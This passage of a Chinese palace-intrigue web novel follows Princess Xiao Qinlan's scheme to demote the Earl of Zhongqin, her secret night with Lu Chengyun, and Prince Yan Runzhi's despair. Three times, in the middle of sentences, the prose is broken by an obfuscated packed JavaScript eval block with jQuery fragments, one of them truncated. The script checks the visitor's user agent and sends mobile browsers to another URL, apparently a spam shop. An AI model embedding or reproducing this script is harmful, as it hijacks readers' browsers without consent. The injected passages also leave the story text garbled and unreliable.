明眼人都看得出来，二人关系非同一般，只是贤昭公主心思太过诡谲。
若是有意，为何接二连三地拒绝。
现下新帝已登基，文华殿日常往来早已不再。这一个多月以来，王爷真是肉眼可见的消沉。
倘若无意，又为何倾尽所能地大动干戈，不惜暴露所有隐匿的底牌，只为助王爷排解胸中恶气。
此话夏半无从回答，唯可自省，“王爷对殿下的深情厚意，早已传遍朝野内外。自古以来，女子最迟于十六岁便已出阁生子，公主殿下如今已过二八之龄，若欲迎娶，嫁妆亦是不可或缺。
女子贞节至关重要，王爷身份尊崇，若是得以迎娶，公主殿下是否会觉得愧对姨母？然贤昭公主乃独一无二的嫡公主，自当不可下嫁。
如此纠葛，如此纷繁，王爷若是有意，尚需解决诸多事端。”
絮叨许久，夏半见他不再颤抖，而是垂首深思，随即笑道：“世间万事皆非易事，只要初衷不改。自今日起，王爷所需承担之事还有许多。
挣取银两，说服太后，说服公主殿下不必介意入赘细节。待嫡公主府邸落成之后，王爷要恰如其分地打开殿下心扉。”
“这些，皆需耗时良久。”蔫润知搀扶起他，步入屋内床榻旁的抽屉，翻寻出几个小巧木箱，而后呼唤他一同清点房契、店契与银票，算着自己嫁妆……
＆
定国公府今时今日门庭若市，来访送礼的小官员络绎不绝，亦有举止得体、分寸拿捏适宜的大官。
正院之内一派热闹祥和，唯独离之不远的西院寂寥无人，倘若未曾打扫干净，必定会误认为是荒芜之所。
元栖递予首座一张宣纸，忧虑地蹙眉道：“这事一看便知是贤昭公主所为，除了她，朝野内外再无人会行这等劳而无功之事了。这背后有何隐晦深意？抑或……”
他心中烦躁不安，徘徊不定，最终还是按捺不住怒火中烧，压低声音怒吼道：“贤昭公主只是在戏弄公子，自始至终，她心目中的皇帝人选便是世子与醇亲王！公子！”
他充满愤懑，凝视着那始终泰然自若的人，“您千万不要贪恋一晚欢愉，将身心都交付于贤昭公主手中啊！她往日对敌军狠辣果决，那武艺功法、才智谋略、姿容样貌等等，一看便是个迷惑人心的……”
陆承韫默不作声，将纸上的文字逐字逐句缓缓读过，直至他的声音渐渐停歇，方才来到摇曳的烛火前，将那张纸置于闪烁的火光之上。
前方熙熙攘攘，佳肴飘香。
西院寂静无声，雾气缭绕。
火焰即将燃烧至指尖，陆承韫淡然将其丢入炭盆内，倒了一杯茶，慢慢饮尽，这才开口，“她从哪儿得知晓醇亲王之事？明面上，她怎么处置的？”
“这个亦是众所周知。宁安宫出宫采买的宫女遵从公主谕旨，探视醇亲王。却被门房拦下，声称醇亲王未在府内。我等京师之人，谁不知醇亲王极少出府！
即使离府也是兴师动众，随从众多。
当时宫女察觉不对劲，并未声张，尔后逐步查证，在次日深夜探得，醇亲王又跪了一夜祠堂。”
“是吗？”
元栖一番长篇大论，恨铁不成钢。仅剩二人时，他向来有话直说。
此时他焦躁不安道：“公子怎可毫无波澜呢！您承受了这样多的委屈与苦难，不就是期望有朝一日能光明正大地做自己，不再被所谓的兄弟友爱、父子天伦所束缚。
这贤昭公主偏颇至此，公子怎可无动于衷，莫非仍要信任她不成！
一夜而已，公子您就这么痴情吗？”
大逆不道，没大没小，陆承韫面带笑意，略带责备地训了他，见他不服气地闭嘴，遂缓声剖析当前时局，“沁澜行事……”
“这就‘沁澜’了！”元栖撇了撇嘴，小声嘟囔。
陆承韫凝视着他，到底顾念自幼相伴、忠心耿耿的情谊，不忍苛责。
“此番将事张扬，实有三利。其一，是对新皇的震慑，下马威。告诉天下万民，新皇悖逆孝道、大不敬，是怎样忽视、苛待太祖皇帝至亲的宗室血脉。就算这事发生在登基之前，也会算在新帝头上。
其二，是向太后表明心迹。沁澜昔日备受太祖恩宠，英姿焕发，岂会毫无依仗？现今坦诚，实则是告知太后她的势力有限，既无力助太后图谋大业，亦不足以抗衡任何一方。
其三，则为私情所驱。她确实想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101680|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要助润知脱离那险恶之地，远离虎狼之穴。”
“哦，原来是这样啊！”元栖恍然大悟，转而疑惑更甚：“但，若依公子所言，贤昭公主这番举动不就同时触怒了新帝，又令太后心生嫌隙，更可能激起忠勤伯府上下的愤慨，引发反抗吗？”
“简单，沁澜她……向来聪慧过人。”陆承韫笑着回应，旋即神色一敛，眼神闪动。
或许，远不止这三者。
＆
“扑通”
乾清宫内，萧沁澜毅然决然跪倒在地，身形笔直，双眸低垂，静默不语。
太后见状轻叹一声，向身旁的琉薇使了个眼色。
琉薇心领神会，躬身行礼后，上前欲扶公主起身，却力不能支，怎么都搀扶不得，只好温柔劝慰：“殿下，明日朝会即将复常。太后娘娘定会慎重思量，力求早日实现殿下心愿的。”
“皇妹请求皇兄同意，将忠勤伯升为驸马都尉……”萧沁澜抬起眼眸，直视上方太后与皇帝的身影，那双圆润的杏眸中满是执拗，“母后与皇兄若不应允，我便长跪不起。”
言罢，她的腰板挺得更加笔直。
萧墨凌本欲动怒，却在触及她坚毅的神情时，过往如同潮水般涌来。
战场上身着耀眼红装的身影，与眼前身着紫色宫装的她奇妙重合。
他心中不由泛起涟漪，揉了揉隐隐作痛的眉心，试图驱散那纷乱的思绪。
最终，萧墨凌深吸一口气，亲自起身，明黄龙袍随着他的步伐轻轻摇曳，宛如金龙腾云。
他走到萧沁澜面前，不顾她的挣扎与倔强，强硬将她扶起，安置在椅中。
他的双手自然搭在扶手上，形成包围圈，将她牢牢锁在自己视线范围内，俯身与她四目相对，“沁澜，你如此作为，让朕如何是好？”
面对质问萧沁澜毫不退缩，直勾勾地与他视线对撞，“皇兄身为天下共主，难道连皇妹这微不足道的请求都无法满足吗？”
那双朝思暮想的眼眸，此刻满心满眼都是自己，萧墨凌无意识伸手，像往昔那样抚摸着她发间繁复的珠翠，言语中满是无奈。
“沁澜，你想要的是让润知自立门户，同时给予忠勤伯一个看似荣耀实则无权的驸马都尉之位。这样的安排，确能让他余生无忧。但你可曾想过，朕要怎么向满朝文武交代？”
萧沁澜神情柔和，语气也随之软化，“我知皇兄难处。但驸马都尉乃正一品，位在伯爵之上，对于忠勤伯而言，这已是极大的恩宠。
他若心有不满又能做什么？
再者，此事缘由朝野皆知，无人会因此责怪。
若皇兄仍觉为难，大可在公主府旁另建亲王府，规格与伯爵府相仿，这样既不失皇室权威，顾全了长辈颜面；又能彰显皇兄的仁德与孝悌。天下百姓闻之，定会赞誉皇兄有情有义！”
“你这是在变着法儿地恭维朕吗？”萧墨凌的嘴角忍不住上扬，这份笑意却转瞬即逝，脸色突然凝重，“沁澜要出宫居住？”
萧沁澜故作不解地眨了眨眼，“天下已然安定。皇兄刚登基不久，关中那常年干旱之地便迎来了久违的甘霖，雨水连绵三日不绝。
这等祥瑞之兆可是地方官府快马加鞭、不惜跑死数匹良驹才传来的好消息呢。这岂不是说明，皇兄是天道所选、万民归心的唯一神州霸主吗？
既然是天命，霸主陛下难道就不能发发善心，成全皇妹的碎屑无重、不足挂齿吗？”
29. 七出之罪
时日迁延，冬寒渐生，已临十一月之境，乾清宫内炉火熊熊，炽焰四溢。
如今国库充实，冬日的寒风未曾袭扰，殿内温暖如春，寒意尽散。
萧沁澜一袭紫衣娇姿绰约，被束缚于圈椅之间。
她柳腰竭力微斜，头上金步摇随着她的动作摇晃，不曾与对方有任何接触。
她那一番宏论滔滔正义凛然，让萧墨凌不禁笑出声来。
他抬手抚了抚萧沁澜发间的步摇，视线凝视着她那双秋水明眸，逐渐幽暗，试图从中探究出一丝情感，不论是好是坏。
清澈如水，纯净无垢，半晌……无果。
萧墨凌收回视线，沉默低首，闭上自嘲的双眼，再睁开时已经恢复原有的自傲。
他起身走到御案之后，继续批阅因登基而积攒的奏折。
“此事非同小可，未有先例。朕深知沁澜一片赤诚之心，可不是朕一句话就能成事的。御史台日后定会上书参劾，若要成功，简单的宠妾不可行。”
“即便是与皇姑母、与天家相关也不可以吗？”萧沁澜蓦然起身，明眸中怒火中烧，直直盯着他的面庞。
察觉到她真的怒意，萧墨凌无心再敷衍，放下手中朱笔，语气深长道：“沁澜，需要时间。明日朝会定会有一番波澜。你先行离去，朕尚有诸多国事须与太后共议。”
萧沁澜聪慧过人，一听便知其中之意，遂放低姿态，上前几步，蹲下身，似是撒娇道：“太后……”
她这声唤得真切，太后脸上的笑意愈发浓厚，神色不明地抚摸着她的长发，温言道：“贤昭，你此番举措过于张扬。国子监学生皆来自四海八荒，有的甚至是声名赫赫的士大夫，一心只为明年科举中榜，以效忠明昭。
你将他们置于台前，实在太过高调。日后，这便是他们的瑕疵，他们的污点。”
“怎会成为污点？天家与忠勤伯岂可相提并论。更何况，这是擢升的好事，并非贬低。朝野之上，谁人敢妄议此事？”
“贤昭所言极是。”太后颔首，似有所悟，“陛下，你意下如何？”
萧墨凌闻言，立即回应：“儿子初涉朝政，诸多事务尚不熟悉，一切听从母后安排。”
“不必拘束，陛下受詹事教导，之前一月又有太傅亲自传授治国之策，所言所行皆公正无私。这等前朝大事，哀家不便插手。”
“母后何出此言？宠幸妾室，轻视皇家尊严。纵使贤昭亲自出手，亦在情理之中。母后贵为天下最尊贵之人，皇姑母又是母后之女，理应过问。”
谦逊有礼，与他往日骄纵跋扈的性格大相径庭。若能长期保持如此稳定，他日取而代之，亦非不可能之事。
太后颇有深意地看了他一眼，语气淡然，“既然如此，哀家便应陛下所请。明日早朝，哀家亲自处理。”
“母后辛苦。”萧墨凌神色温润，轻轻笑了笑。
这般虚假的神情，竟与陆承韫不相上下，不愧为同胞兄弟。
见二人皆已应允，萧沁澜立刻欣喜地行礼致谢，随后找了个借口作揖告退，披着披风离开了乾清宫，向宁安宫走去。
待她离去，太后摩挲着佩戴的戒指，注视着正勤勉批阅奏折的新帝，眸光微闪，心中已有主意。
＆
次日，惯例的休憩时刻已过，京师中的正五品以上官员穿过金水桥，进入太和门，整齐有序地依次进入太和殿内，文臣武将分列两侧。
待到新帝与明远太后落座，他们齐齐下跪，高呼“万岁”与“千岁”，而后在一句“众卿平身”中缓缓起身。
与新帝一同入宫的大太监高声喊道：“有事上奏，无事退朝。”
明昭王朝地域广阔，短短三天便积累了无数大小事务。
新帝登基，无论了解与否，皆须禀报明昭王朝内外的大体情况。
武将们手持笏板，率先汇报近期疆域的安危与训练情况，以及其他番邦的威胁与战备物资。余下便是京师的防御与简易布防。
紧接着，文臣们将京师中的行政、司法、税收、民生、教育、农业等方面，简略报告已改革的重要部分，其余便是一些普通事务。
待到大太监再次高声宣唱，都察院左都御史看了一眼首位的忠勤伯，又与身旁的官员交换了目光，获得肯定后，便毫不犹豫地出列，阐述忠勤伯种种罪责。
＆
“…………其一，大长公主之夫虽贵为伯爵之尊，却放任妾室对大长公主血脉不敬，此乃家门不幸。
其二，夫与妾者，理应恭敬守礼，然今却因忠勤伯庇护纵容，对大长公主之子视若草芥，此乃傲慢无礼。
其三，明昭王朝以孝道治理天下，伯爵府主母乃长辈，忠勤伯纵容妾室蔑视长辈之子，此乃大不孝，何堪爵禄之尊。
其四，国公、侯、伯爵乃国家之颜面，非有德行者不得位列高位。今忠勤伯视之如敝屣，此乃漠然皇室，大不敬也。
其五，宠妾灭妻之子，自古以来，皆乃品行败坏之辈，忠勤伯身居高位却带此风，实乃道德沦丧。应夺其爵位，降为庶民。
其六，大长公主乃皇室血脉，醇亲王乃天家之子嗣，忠勤伯却唆使妾室不敬不恭，此乃藐视天威。
其七，明昭王朝，尊卑有别，贵贱有序。大长公主为国捐躯，忠勤伯明知其功劳与血脉高贵，却明知故犯，实在可恶。此乃…………”
本采犹豫地停顿了片刻，支吾半晌，才接着道：“此七出罪之言，实在荒谬可笑，可怖可恨。国法难容，必须严惩不贷，方能拨乱反正，以正朝纲。”
她模仿完毕后，忍不住笑道：“神七出之罪！这左都御史恐怕是太后娘娘的亲信，没想到太后娘娘竟这般的风趣。
主子您可能尚不知，左都御史刚一说完，那忠勤伯立刻勃然大怒，竟毫无风度可言，指着他的鼻尖便开始谩骂。
太后与新帝静观许久，直至即将动武之际，方才出声劝止。”
萧沁澜悠然自得地品尝着葡萄，饶有兴致地戳弄着果皮，“太后娘娘着实阴损。
七出之罪多是指男子休妻的七种规范与礼仪。不孝父母、无子、淫逸、嫉妒、罹患恶疾、多言、盗窃。
如此严苛，又如此不公，乃历代束缚女子的重重磨难。
没想到太后娘娘竟生生搬出七条，套在忠勤伯身上。”
“正是。”本采接过她投喂的葡萄，双手捧在心口笑着道：“忠勤伯除了宠溺庶子、溺爱妾室，纵情声色、赌博、饮酒大话等等之外，倒是未曾沾染其他恶习。
甚至对寻常百姓也时常投以怜悯之心。
奴婢听闻妹妹提及，豫州学子之事，虽然忠勤伯帮助定国公说了几句好话。但回府之后便遣人打听李家之事，传闻是商贾之后，并一掷千金，购买了许多无用之物。
这些事迹均未公之于众，若非主子在忠勤伯府留驻暗卫，宁安宫也未必能知晓。”
“是个寻常的花心之人。”萧沁澜停止了戳弄的动作，起身略微伸展了下腰身，而后继续慵懒地躺在她贵妃榻上，“可惜，立场不同。他的生死本宫不会干预，但他的身份本宫必当取之。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122785|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
本采来到卧榻边缘，坐在其下为她揉捏着腿部，“区区伯爵之位，岂及亲王权柄重。主子其实无需执着的。”
“这是皇姑母离去前的遗愿，本宫必须替她实现。伯爵、亲王……你说，本宫要给润知何种赏赐，他才会原谅本宫呢？”
本采听罢，动作稍顿，长叹短嘘地愁眉不展，“主子，奴婢深知主子想要求的承平盛世很难，但不必非要独自前行。陆二公子心机深重，主子与他共事颇为劳累。不如选择醇亲王，他对主子情深意长……”
“劳累啊……”萧沁澜忆起那晚之事，抿了抿唇。
她表面年仅十九，可若前世加今生的年纪，已将近……
风华犹存，尚初尝人事，着实有些难以启齿，也有些好奇。
她单手托腮，眨了眨清澈如水的杏眸，打断了那喋喋不休的劝说，“本宫自有打算，那件大事唯有润知方能成就。本宫对他无爱情，你无需再劝。今夜与陆承韫的相约安排妥当了吗？”
“……是，一切妥当，主子放心。”本采心有不甘，到底不能左右主子之意，只能放下那些想法，专注眼前之事。
“也罢。”萧沁澜起身抱着软枕，向寝殿内走去，“今日早朝耗费精力，身体疲惫不堪，今夜的谈判又不容忽视。差点忘问了，今早朝议最后，太后是怎样收尾的？”
本采为她盖好被子，将帘帐放下，边动作边道：“这事难以一锤定音。
不过将忠勤伯提拔为驸马都尉、明升暗贬，新帝与太后已明确表态，朝中文武百官大多是聪明人。
当下正是树冠展翅时，像这样不影响朝局、无关痛痒的事，谁都不愿错过露脸的机会。主子宽心，用不了几日，便可尘埃落定。”
床内的萧沁澜抱着软枕，娇弱地“嗯”了一声。
“退朝之前，众臣们提出了选秀之事……”本采正欲详述，却见她早已阖眸休憩，便顿时住口不言，待放下帘帐之后，悄然退了出去。
＆
四周寂静无声，夜幕悄然降临，由于连年征战，明昭王朝的饮食起居并无定制，各行其是。
现下正是酉正，定国公府内，陆泽重重放下碗筷，神情严肃地开口道：“凌儿身为九五之尊，号令天下。后宫却仅有一名名不见经传的侍妾，实在有失体统。
今日下朝之际，我已与少保联手向太后进谏。
国嗣关系王朝千秋，中立一派必定站在我们一边。太后一派纵然想要阻挠，也无济于事。”
他看向下方，“承韫，你跟随先皇潜龙那几年，向来备受官家小姐青睐。朝中重臣之中，可有易于控制的官家千金？”
他放下碗筷的刹那，陆承韫已然停止进食，低眉垂目聆听他的种种要求。
听闻此话，陆承韫摇摇头，“与我交情深厚者，骑射技艺皆属一流，性格多刚烈。若要纳入后宫，短时间内或会给兄长带来困扰。”
“当个皇帝竟有这么多繁琐的事。”严兰乐叹气道：“凌儿自幼在我身边长大，当初是何等意气风发之人，现在却如个缩头乌龟一般处处妥协。
要我说，一开始就不如让承韫去坐这个傀儡皇帝。有了权力，再分些兵权给凌儿，还怕史书上会没有萧墨凌这个名字吗？”
“墨凌姓陆，改为‘萧’是迫不得已。”
“定国公真是见利忘义。若无我萧家，怎有你权倾朝野的地位？怎有你在朝堂立足？以怨报德，过河拆桥，简直忘恩负义！”
“你……”陆泽正要动怒，却忽然想起尚有外人在场，只得强行忍住怒火。
30. 抑或是…… 我的夫君…………
回西院途中，元栖滔滔不绝，言辞中满是不满，“若非公子及时出现，夫人恐怕早就遭老爷责罚。外人？哼！这外人不就是指公子？真是可恶！奴才越想越生气！贤昭公主怎会扶持这等败类之子登上那至高皇位！
世子眼高于顶，行事鲁莽，动辄喊打喊杀，怎么可能引明昭王朝步入下一辉煌？不致衰败，免遭外族侵扰，就已经万幸了！真是……有眼无珠！”
陆承韫面色平和，喜怒不形于色，“兄长胸有丘壑。能得皇位，必有过人之处。”
“乱世之中，世子爷的行事或许是有其可取之处，算是令人钦佩。可今朝海晏河清，政通人和，百姓安居乐业，一片祥和。想要守护这盛世，需要得是温文尔雅、德行兼备的君子，而非嗜杀成性之主。
这番举动，不是明摆着让陛下与明远太后对立，打擂台嘛……”
“你能看出来？”陆承韫挑起眉梢，意味深长。
“公子，您这不是在取笑我吗？这等事，但凡有眼睛、有心的人都能察觉，怎会不知？”
“既然连你都能洞悉，那朝中大臣们，为何还要全力支持兄长登基为帝呢？”
“……这是为何？”见自家主子嘴角挂着神秘的微笑，元栖不禁挠了挠头，生怕被主子看轻，努力揣测道：“莫非是那些大臣们厌倦了太平日子，故意制造事端，挑起皇室纷争，只为看热闹？
不对，这更像是戏文里的情节。难道是前朝残余势力与外邦势力勾结，想要暗中除掉朝中重臣，再派人顶替，企图再次搅动风云，重现前朝与外邦的盛世？”
“前朝与番邦的盛世？”陆承韫突然停下转身，望着他的目光严厉。
“……那些达官贵族与宗室外戚的盛世！都怪奴才不严谨，奴才错了。”元栖讪讪一笑，轻拍了自己的嘴巴几下。
“不必挂怀。”陆承韫抬手制止了他的动作，随后叹息一声，劝慰地抚了抚他的额发，“今夜你只需守在院门，不必入内。”
“为何守在院门？我向来是守在主子门边的……”
话音未落，恰在此时，屋门缓缓开启，一道熟悉而尊贵的身影斜倚门框，双臂环抱，视线投向此处，神情似笑非笑。
元栖的声音戛然而止，震惊地指着前方那未曾预料之人，瞠目结舌，眼睛瞪得滚圆，“怎么可能……那么多暗卫都无人察觉？好……好厉害啊！”
陆承韫拍了拍他因惊愕，而显得高低不平的肩膀，步入院内，院门“哐当”一声，不轻不重，却毫不留情地关闭。
一阵清风猛然吹起元栖的长发，他终是从那紧闭的院门中回过神来，揉了揉因震惊而酸痛的脸颊，无奈地坐在地上，抬头仰望那高悬夜空的皎洁明月与繁星点点。
“不会又是一夜吧？真是悲催啊……”
＆
屋内烛火骤亮，光影斑驳地映照在窗户上，摇曳生姿。
陆承韫放下火折子，自衣柜中取出被褥，细心地一一铺展在卧榻之上。
他转过身，柔声道：“坐吧，无需拘礼。”
“真贴心。”未待他回应，萧沁澜便径直从他身旁走过，脱下鞋袜，旁若无人地倚靠在卧榻上，怀中还搂着一方软枕，“你就这么信任你的小侍卫？不担心他是来探听消息的？”
陆承韫将她随意摆放的鞋子摆正，又取来软毯，盖在她裸露的脚踝上，这才坐在卧榻边缘，低头一瞬不瞬，“元栖自幼伴我左右。”
这样的交情，就算元栖对大业无甚助益，他也不忍责备，更别提遗弃。
“往往是这样亲近之人，一旦背叛，才更伤人。”
“是吗？”
不咸不淡的回应口吻令萧沁澜眉头微蹙，转念间，她挪动身体调整姿势，将头枕在了他的大腿上，明眸圆睁，仰视着他，带着几分撒娇意味，“还生我的气呢？”
虽是询问，话语间却拐了几道弯，听起来格外惹人怜爱。
即便是这样视角，也难以掩盖她清丽脱俗的容颜，完美无瑕。
无论是起义之际杀伐决断的她，亦或是宫中伪装后的她，每次相遇，她语气要么一丝不苟，要么声如蚊蝇，陆承韫从未见她这般软糯过。
陆承韫自十四岁起与她相识，虽不是时时朝夕相伴，但除去开朝与此次登基的繁忙，也算得上日日相见。
她……润知应该未曾听到过这样的语气？
陆承韫抚摸着她散落的长发，“没有。我明白你的用意，只是不解你内心真正的想法。”
这话带歧义，既感知到理解？又留有不解？
萧沁澜作为历经两世，见证过现代商战又熟悉古代战场的人，对他的性格了如指掌。
在庄子时他受到下人善待，战乱骤起他即刻被召回，在父母眼中，他仅是随时可牺牲的替罪羊。
如今明朝王朝稳定，庄子中的人大多受战乱波及，生死未卜。听闻他曾想去寻故人，却遭定受定国公的奚落，狠狠甩了一巴掌。
他的势力，似乎也是自那年起方显端倪，正式发展。
细算之下，不过才四年光景而已，与自己相比，确实难以相提并论。
这类人物，或许会因昔日所受的恩泽，成长为温文尔雅的儒者；或许会内心扭曲，化作残暴不仁的君王。
对内心压抑、情感封闭之人，要想赢得他的完全信任，只是共度几夜不可能达成，终其一生也无法实现。
自己所能做的，唯有在与他结盟之际以诚相待，毫无欺瞒。
未来是否分道扬镳，那便留待日后再说吧。
全心付出，再滴水不漏地收回。很简单，自己用惯了的！
思绪回笼，萧沁澜行若无事，拉起他的手，逐一掰开又合上，把玩间说道：“正如你所料，臣子们不傻，太后亦不蠢。现下海内安宁，府库充盈，栗红贯朽，所需君主不是智勇双全，顺从仁善即可。若论合适，润知无疑是最佳人选……”
“是。”陆承韫嘴角的笑意瞬间收敛，眼底冷然，伸手抚摸着她的长发，一次一次。
“润知身后并无强大的母族支撑，父族却形同虚设。这等只身份高贵却毫无背景之君，理论上最易掌控。
时局复杂，太后、定国公、外戚、落选的萧氏旁支、中立派及先皇旧……旧部快要死绝。其余者各怀心思。若众人同心，则无坚不摧。但若想要操控朝纲，扩充私囊，扬名立万，乃至青史留芳，既需势力，亦需时日。
因此，即便萧家仅余两位女子，他们亦不会轻易起事。
不起事，并不等同于心悦诚服。
宁郡王与靖郡王暂且不论，他们空怀野心，却无高位者撑腰，难以问鼎皇位。润知亦是如此，除了血统上的优势，别无他长。唯独你的兄长定国公世子，情况不同。
所以从一开始，六位备太子选出那时，只要陆墨凌不犯错，登基之事便已成定局。”
这些利害关系，陆承韫心知肚明，但亲耳所闻与自己先前的揣测大相径庭。
得知二人想法一致，他心中稍感宽慰。
至少今晚可以暂时放下那些阴谋算计，与朝政琐事。
两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137990|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已坦诚相待，细细算来，到现在不过月余，陆承韫正值血气方刚，又是初次……且初次便难以自控，又终能以真面目示人，无需再伪装，呼吸间不免带了几分急促。
他俯身，克制地在她额头上印下一吻，手心搭在她细腻的脸颊，声音略带沙哑，“继续说。”
萧沁澜眼眸渐深，抬手捏起他的下巴，樱红的嘴唇微微抿了抿，旋即挑眉挑衅地一把拉过他的头，抬起重重吻了上去。
陆承韫毫无防备……
湖面涟漪，浪尖谷底，短兵交接，双生藤蔓……
……
……
＆
沧海桑田，却又转瞬即逝。
“新朝初立，太后的政绩有目共睹。让萧墨凌登基，意在引出那些蠢蠢欲动的老臣势力，进而一网打尽。至于罪不至死者，或可保全家族。”萧沁澜的声音渐渐低沉，似有所思。
身后，陆承韫握住她不安分的手指，搂住她的腰身，温柔宽慰，“世事无常，人心难测。你所指的那些不安分者，并非真正的忠良之臣。豫州学子之事，全国屡见不鲜，不知葬送了多少有志学子。这，便是他们应得的结局。”
“嗯。”
仅凭几句言辞便定人生死，而非直面战场上的生死搏杀，萧沁澜内心波澜起伏。
她翻身趴在卧榻上，侧头凝视着床内，“臣子们所期盼的，乃是朝中隐患的清除，以便我与润知的孩子能顺利登基为帝。我性格温婉，易于驾驭。”
“你又怎知非润知不可呢？”陆承韫立即道。
“亲爱的，别忘了我的父皇是何等英明神武。
作为从底层官员，一步步打下江山的开朝皇帝，他的威严与气势岂是儿戏？
即便时光流转数百年，这朝野上下依旧对他充满敬仰与顺从，无人敢轻易违抗。
再者，润知的血统并不纯正，你认为臣子们会不惜一切代价，只为拥立一个流淌着忠勤伯血脉的继承人吗？这样的，他们怎会轻易看得上眼？”
“……”
“怎的，你不信？”
陆承韫相信，坚信。
他曾亲眼见过太祖皇帝，心中确实充满崇敬。只……刚才那几个字，着实过于大胆。
“你方才唤我什么？”
“嗯？"萧沁澜正分析朝中局势，过于沉浸，一时未能瞬间回应。但不过片刻，她便恍然大悟。
这样的称呼在现代屡见不鲜，只要情感稍深，不用结婚，诸如''老公''、''老婆''、''宝贝''等之类的称呼便能脱口而出，几乎国内外现象。
就连同性间开玩笑也会如此。
可这毕竟是古代，一个封建礼教严苛的时代。
女子若未出阁便随意使用此类称呼，将被视为不知羞耻。严重时，甚至可能面临以白绫赐死的极端后果。至于青楼中……
她倒是没去过青楼，不过想来也不会这样的胆大妄为吧？
话说回来，她可是天南海北都闯荡过，连江湖帮派都敢挑战。
唯独青楼，被便宜父皇严令禁止踏入半步。
待之后局势安定，是该找个时间好好探个究竟了。
“沁澜……”见她未应，陆承韫五味杂陈，又唤了一声。
若想让他真心归顺，甘愿受自己掌控，做出些牺牲是必要的。
没人会质疑堂堂公主在不爱时，仍愿屈尊，甘愿献身！
萧沁澜拢过鬓边发丝，转身环住他的颈项，柔心弱骨道：“想听什么？亲爱的？兄长？抑或是……我的夫君……”
31. 傻逼才生！
夜色深沉，月华如练。
忠勤伯府内，蔫润知端坐于书案后，手中笔耕不辍，继而提笔审视，眉头紧锁，终是将纸团成一团，掷于地上。
“吱呀”一声，夏半推门而入，手中捧着一碗热气腾腾的银丝羹，将其置于桌上，耐心劝慰道：“王爷，先用膳吧，练笔可以稍后再行。”
蔫润知静默片刻，终是放下兼毫笔，一张俊脸面无表情，拧着眉沉入身后的椅中，“自文华殿停课以来，宫中诸事我皆不知晓，不知前因后果，真正成了局外人。今日早朝关于父亲的事情，群臣争执激烈，也不知沁澜在后宫是否安好。”
“贤昭公主乃太祖皇帝唯一血脉，尊贵无比，没有人敢随意加害的。王爷尽管宽心。”
“呵……”蔫润知苦笑，“后宫诡谲，阴谋完全不输战场。以沁澜的身份，自是无人敢公然加害，但数月前太后可是当着万千臣民的面，打过沁澜啊！
太后竟敢掌掴当今贤昭公主！
此事都传遍朝野了，臣民都议论纷纷了，我当时竟然未曾出头！
未曾为沁澜求个公道！
可你瞧我只是受了委屈，仅是口头委屈而已！沁澜她……
她竟动用了全部隐藏势力，全部啊……
呵，我这个亲王，可真无用，无用至极……”
蔫润知声音颤抖沙哑，难以言语的痛楚与自怨猛然席卷全身，他眼角泛红，怒气难平，无法自抑地狠狠掌掴一巴掌，清脆的声响回荡在整个室内，力道之大，余音绕梁。
案几后的夏半悚然一惊，不顾礼节地立即冲上前去，紧紧抓住他即将落下的另一只手，瞬间跪倒在地，抬头仰望着他，语气恳切哽咽，
“王爷，您身后并无坚实后盾，前朝又无可靠人脉，仅凭这尊贵的身份，如何在等级森严、尊卑分明、男女有别的宫廷中保护公主殿下？
现在时局已非往昔，您无法再与殿下策马驰骋、弯弓射箭。这忠勤伯府与皇宫无异，皆是消磨人心志之地。王爷深思熟虑，天下已安，除非有非凡之举，否则……”
“我明白。”蔫润知扶起他，神情倦怠地摆了摆手，“但我既无此心，也无此力。培养暗卫需耗费大量人力、物力。正如你所说，我缺乏后盾与人脉，偏偏顶着这尊贵的身份，而父亲……”
他摇了摇头，“既愚蠢又天真。府中有众多监视者，若我有所作为，只怕会落得个悲惨下场。夏半，沁澜才十九岁，尚未出嫁。我若此生无缘成为她的夫君，便誓要争取个背亲使的身份。”
“王爷此言，未免太过悲观。”夏半笑道：“奴才乃大长公主所赐，自幼与王爷相伴成长，对贤昭公主亦颇为了解。
昔日红衣飒爽、弯弓射敌的殿下性格坚韧，绝非婚嫁所能轻易束缚的。即便在皇宫深院蹉跎三年，与生俱来的傲骨亦不会轻言屈服，豫州学子便是正解。
以奴才之见，公主殿下对未来种种早已成竹在胸，自有安排。”
蔫润知于乱世之中亦有小功，并非愚钝之人。
太祖皇帝对先宣王严苛，凡事力求完美，但对他这个唯一侄子却格外偏爱器重，交付于他的任务并不凶险。
明昭王朝建立后，为防止老臣恃功而骄，未对任何官员子弟进行封赏，包括屡建奇功的先宣王、沁澜及他自己。
有皇室血脉作为典范，谁还敢轻易提及封赏之事呢？
太祖皇帝在世时，百官无不崇拜顺从其威势，深信其威信。
世人皆对强者怀有尊崇之心，沁澜自然也不例外。
呵……
